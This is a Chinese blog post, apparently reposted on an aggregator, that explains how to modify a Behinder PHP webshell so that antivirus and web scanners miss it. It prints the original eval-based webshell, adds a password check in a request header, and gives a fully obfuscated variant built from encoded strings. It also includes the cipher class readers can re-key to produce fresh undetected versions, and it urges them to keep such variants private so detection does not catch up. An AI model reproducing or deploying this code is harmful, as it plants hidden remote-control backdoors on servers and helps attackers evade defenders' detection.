改造冰蝎马,实现免杀之default_aes php

news2024/9/30 7:31:39

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

文章目录

    • 文章目录
    • 前文链接
    • 前言
    • 效果
    • 目标
    • 密码验证功能
    • 免杀
    • 后话

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透

前言

之前发的免杀文章有人说失效了。确实失效了。shellcode的免杀失效了,webshell的免杀被杀了。按理说我应该把之前的文章删掉。但是我不仅没有删,还开了一个专栏叫免杀。因为免杀这种东西,就是提供一个思路。你顺着这个思路,自己对你的shellcode或者webshell进行改造。然后不要发到网上去。发到网上去就会被waf的爬虫找到,然后你的免杀就失效了。我在写之前的文章就料到有这样一天。免杀还是靠自己的编程基础来实现,网上的就是提供一个思路,这篇文章中提供的webshell也可能很快就会失效,和waf作战本就是艰苦卓绝。只有举一反三,求本逐妙,才能在与waf的战斗中得胜。

最近喜欢用冰蝎,因为它比较强。但是免杀效果不太行。本文以php webshell的default_aes编码器为例,实现密码验证和免杀实现。

效果

先看下原本的webshell

<?php
@error_reporting(0);
		function Decrypt($data)
	{
		$key="e45e329feb5d925b"; //¸ÃÃÜԿΪÁ¬½ÓÃÜÂë32λmd5ÖµµÄÇ°16λ£¬Ä¬ÈÏÁ¬½ÓÃÜÂërebeyond
		return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
	}
	$post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

WEBDIR
在这里插入图片描述
D盾
在这里插入图片描述

再看下免杀之后的马子
D盾
在这里插入图片描述
WEBDIR
在这里插入图片描述
可见免杀效果是非常的好

目标

两个目标

1. 实现密码验证功能
2. 实现免杀

密码验证功能

直接生成的马子,是没有密码验证功能的,用冰蝎连接的时候输链接就可以了
在这里插入图片描述
也是非常的捞。

但是我们可以指定请求头,这样我们就可以从请求头下手。

首先查看源代码
在这里插入图片描述
先定义了一个函数,接着获取请求内容,解密,接着直接eval执行。

可以蒙到核心代码是这两行
在这里插入图片描述
只要再这两行代码前加上密码验证的语句就ok了。

例如,我要验证请求头中Pass的内容是否为password

先获取请求头中是否存在Pass段,若存在则进入验证。
改造之后是这样

$b=0;
if (array_key_exists('Pass',apache_request_headers())) {
    $b=apache_request_headers()['Pass']==='password';
}
if ($b) {
    $post = Decrypt(file_get_contents("php://input"));
    eval($post);
}

当然也可以自己修改,注意大小写,Pass第一位必须大写,否则识别不了。

这样修改之后,在连接时要在请求头处设置内容。
在这里插入图片描述
当然也可以自行修改你的密码。

免杀

先把免杀后的webshell贴出来。

<?php 
error_reporting(0);
function d($a)
{
    return openssl_decrypt(base64_decode($a), base64_decode(strrev(str_rot13('=V0DS1PBlRGYGIHD'))), base64_decode(str_rot13('MGD1MGZlBJ') . strrev('==gY1ITOkVjYlZ')), OPENSSL_PKCS1_PADDING);
}

function p($k)
{
    $s = 0;
    foreach (str_split($k) as $a) {
        foreach (str_split(ord($a) . "") as $b) {
            $s += $b;
        }
    }
    while (10 > $s && $s < 100) {
        if (10 < $s) $s = $s * 2; else $s = $s / 3;
    }
    return $s;
}

function a($b)
{
    $r = "";
    foreach (str_split(base64_decode($b)) as $s) {
        $r .= chr(ord($s) - p("dvcqazjiomk"));
    }
    return $r;
}

$p = d('IHwa8t2BcjZISwq2jfqEHw==');
$f = 0;
if (array_key_exists('Pass', apache_request_headers())) $f = apache_request_headers()['Pass'] === $p;
if ($f) $c = a('vMu+us2+uL/Ox7zNwsjH')("", a('vs+6xYG9gb/Cxb64wL7NuLzIx82+x83Mgb2Be5GywMKqx4zTs6C7s8TFqNGIrsSIitCWlnuCgoKClA=='));
$c(); 
?>

使用时请指定请求头为:Pass:password

写到这里突然不想写了,大概讲一下。

d()函数是aes解密函数,里面的字符串我做了一点小小的处理。

p()函数是辅助函数,传入一个字符串会返回一个10到100之间的整数。

a()函数是解密函数,把加密后的代码进行解密。里面的kiocpmg是密钥。可以自己改。

简单来说就是把里面的字符串加密了,然后混淆视听,让waf认不出来。

把加密算法也贴一下吧,密钥改一下就可以让代码改头换面了。反正核心还是一样。

class Cipher
{
    public static $key = 'abcdefg';

    function parse($key)
    {
        $s = 0;
        foreach (str_split($key) as $a) {
            foreach (str_split(ord($a) . "") as $b) {
                $s += $b;
            }
        }
        while (10 > $s && $s < 100) {
            if (10 < $s) $s = $s * 2;
            else $s = $s / 3;
        }
        return $s;
    }
    function en($data)
    {
        $res = "";
        foreach (str_split($data) as $s) {
            $res .= chr(ord($s) + self::parse(self::$key));
        }
        return base64_encode($res);
    }
    function de($data)
    {
        $res = "";
        $data = base64_decode($data);
        foreach (str_split($data) as $s) {
            $res .= chr(ord($s) - self::parse(self::$key));
        }
        return $res;
    }
}

后话

还是那句话,网上的免杀就是看个热闹,真要免杀还是要自己动手。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/96295.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]Python计算机毕业设计黑格伯爵国际英语贵族学校官网Django(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程 项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等…

5G无线技术基础自学系列 | 单站点验证概述

素材来源&#xff1a;《5G无线网络规划与优化》 一边学习一边整理内容&#xff0c;并与大家分享&#xff0c;侵权即删&#xff0c;谢谢支持&#xff01; 附上汇总贴&#xff1a;5G无线技术基础自学系列 | 汇总_COCOgsta的博客-CSDN博客 单站点验证是指在基站硬件安装调试完成…

RNA-seq 详细教程:可视化(12)

学习内容 了解如何为可视化准备数据了解如果利用可视化来探索分析结果火山图可视化热图可视化可视化结果 当我们处理大量数据时&#xff0c;以图形方式显示该信息以获得更多信息&#xff0c;可能很有用。在本课中&#xff0c;我们将让您开始使用探索差异基因表达数据时常用的一…

【数电实验】移位寄存器与计数器

实验四 移位寄存器与计数器 一 实验目的 1 掌握任意进制计数器的构成方法&#xff1b; 2 熟悉双向移位寄存器的使用方法。 二 实验内容 1 任意进制计数器的构成方法&#xff1a; 用中规模集成计数器74HC161和与非门74LS00&#xff0c;构成十进制计数器。要求分别使用同步预…

精华推荐 | 【深入浅出RocketMQ原理及实战】「性能原理挖掘系列」透彻剖析贯穿RocketMQ的事务性消息的底层原理并在分析其实际开发场景

什么是事务消息 事务消息(Transactional Message)是指应用本地事务和发送消息操作可以被定义到全局事务中,要么同时成功,要么同时失败。RocketMQ的事务消息提供类似 X/Open XA 的分布事务功能,通过事务消息能达到分布式事务的最终一致。 事务消息所对应的场景 在一些对…

docker学习笔记(五)单个服务镜像部署

引言 当前微服务项目已经大面积普及&#xff0c;对于新需求迭代上线有许多疑惑的部分&#xff0c;比如线上的某些功能不能重启&#xff0c;在这种情况下我们需要部署和启动项目就不能搞大范围重启或干脆重新制作镜像&#xff0c;这种方式都是不可取的&#xff0c;这时候就需要…

重学webpack系列(二) -- webpack解决的问题与实现模块化的具体实践

只是根据几个想法&#xff0c;我们便创造出了webpack打包工具&#xff0c;它能够根据我们在前端项目中遇到的疑难杂症对症下药&#xff0c;那么这一章我们就一起来探讨一下我们项目落地所遇到的种种问题。 前端实践中的问题 Jsx / Tsx编译问题Less / Scss编译问题TypeScript编…

【Pintos】实现自定义 UserProg 系统调用 | 添加 syscall-nr 系统调用号 | 编写新的参数调用宏

&#x1f4ad; 写在前面&#xff1a;本文讲解的内容不属于 Pintos 的 Project 项目&#xff0c;而是关于 userprog 如何添加系统调用的&#xff0c;学习如何额外实现一些功能到系统调用中以供用户使用。因为涉及到 src/example 下的Makefile 的修改、lib 目录下 syscall-nr 系统…

门诊排队叫号系统,有序叫号就诊,适用医院医院、门诊部、诊所等

排队叫号系统&#xff0c;是将互联网信息技术与门诊预约、签到、提醒、叫号、接诊等环节相结合&#xff0c;实现门诊流程式便捷叫号服务。 为助力门诊营造一个良好有序的就诊环境&#xff0c;打造科学合理的就诊流程&#xff0c;今天给大家推荐一款一款便捷排队叫号系统&#x…

Linux基本权限(2)

Linux基本权限(2) &#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;Linux &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 本博客主要讲解了目录权限&#xff0c;和目录&#…

2022年底,我手里一共负责了30套系统

2022年真是不平凡的一年&#xff0c;往常熙熙攘攘的办公室人越来越少&#xff0c;真是像曹操说的兄弟相继凋零&#xff0c;好似风中落叶啊。 结果人少了&#xff0c;手里的系统一个没少&#xff0c;慢慢年底了&#xff0c;我汇总了一下&#xff0c;手里的系统达到了30来个。 搞…

Linux--基础IO

目录 C文件IO 系统文件IO 接口介绍 系统调用和库函数 文件描述符 open返回值 文件描述符的分配规则 重定向 代码演示 使用dup2系统调用 缓冲区 FILE 理解文件系统 文件系统 inode 软硬链接 静态库和动态库 概念 生成静态库 生成动态库 C文件IO 写文件 #in…

SpringBoot+Prometheus+Grafana 实现自定义监控

1.Spring Boot 工程集成 Micrometer 1.1引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator</artifactId> </dependency> <dependency><groupId>io.micrometer<…

E1. Erase and Extend (Easy Version)(纯暴力+string)

Problem - 1537E1 - Codeforces 这是该问题的简单版本。唯一的区别是对n和k的约束。只有当所有版本的问题都解决了&#xff0c;你才能进行黑客攻击。 你有一个字符串s&#xff0c;你可以对它进行两种类型的操作。 删除字符串的最后一个字符。 复制字符串&#xff1a;s:ss&…

数据结构---堆排序

堆排序JAVA实现和快速排序区别二叉堆的构建&#xff0c;删除&#xff0c;调整是实现堆排序的基础之前博客写了二叉堆&#xff1a; 二叉堆最大堆的堆顶是整个堆中的最大元素。最小堆的堆顶是整个堆中的最小元素。 堆排序步骤&#xff1a; 把无序数组构建成二叉堆。(需要从小到…

ArcGIS基础:等高线数据生成栅格DEM数据

以下操作为生成栅格DEM数据的方法。 一般方法是先创建TIN&#xff0c;然后在转为栅格DEM数据。 原始数据如下&#xff1a;为等高线数据&#xff0c;创建TIN数据需要用到等高线数据的【高程】字段。 声明&#xff1a;数据来源于网络。 工具位于【3D分析工具】下的【TIN】下…

BeanDefinition

1. 前言 Spring最重要的一个概念当属Bean了&#xff0c;我们写的Controller、Service、Dao凡是加了对应注解交给Spring管理的&#xff0c;都是Spring容器中的一个Bean。把我们自己写的类变成一个Bean交给Spring管理有很多的好处&#xff0c;比如我们不用自己去new对象了&#…

ssh+mysql实现的Java web企业人事人力资源管理系统源码+运行教程+参考论文+开题报告

今天给大家演示的是一款由sshmysql实现的Java web企业人事人力资源管理系统&#xff0c;其中struts版本是struts2&#xff0c;本系统功能非常完善&#xff0c;已经达到了可以商用的地步&#xff0c;基本全部实现了整个人力资源管理的所有功能&#xff0c;包括员工档案信息、部门…

jekins集成部署

jekins集成部署1.jekins简介2.Jenkins部署环境3. jekins安装4.配置jekins启动和停止脚本5.插件安装5.1.安装maven插件安装5.2 安装gitee插件5.3 安装Publish Over SSH插件5.4 安装 事件机制插件6.任务构建6.1 构建任务6.2 配置giteeApi令牌6.3 配置gitee源码地址6.4 在build中配…

3D激光里程计其二:NDT

3D激光里程计其二&#xff1a;NDT1. 经典NDT2. 计算方式2.1 2D场景求解:2.2 3D场景求解&#xff1a;3. 其他 NDTReference:深蓝学院-多传感器融合 1. 经典NDT NDT 核心思想&#xff1a;基于概率的匹配。目标是将点集 Y 匹配到固定的点集 X 中。这里的联合概率说的是将 X 划分成…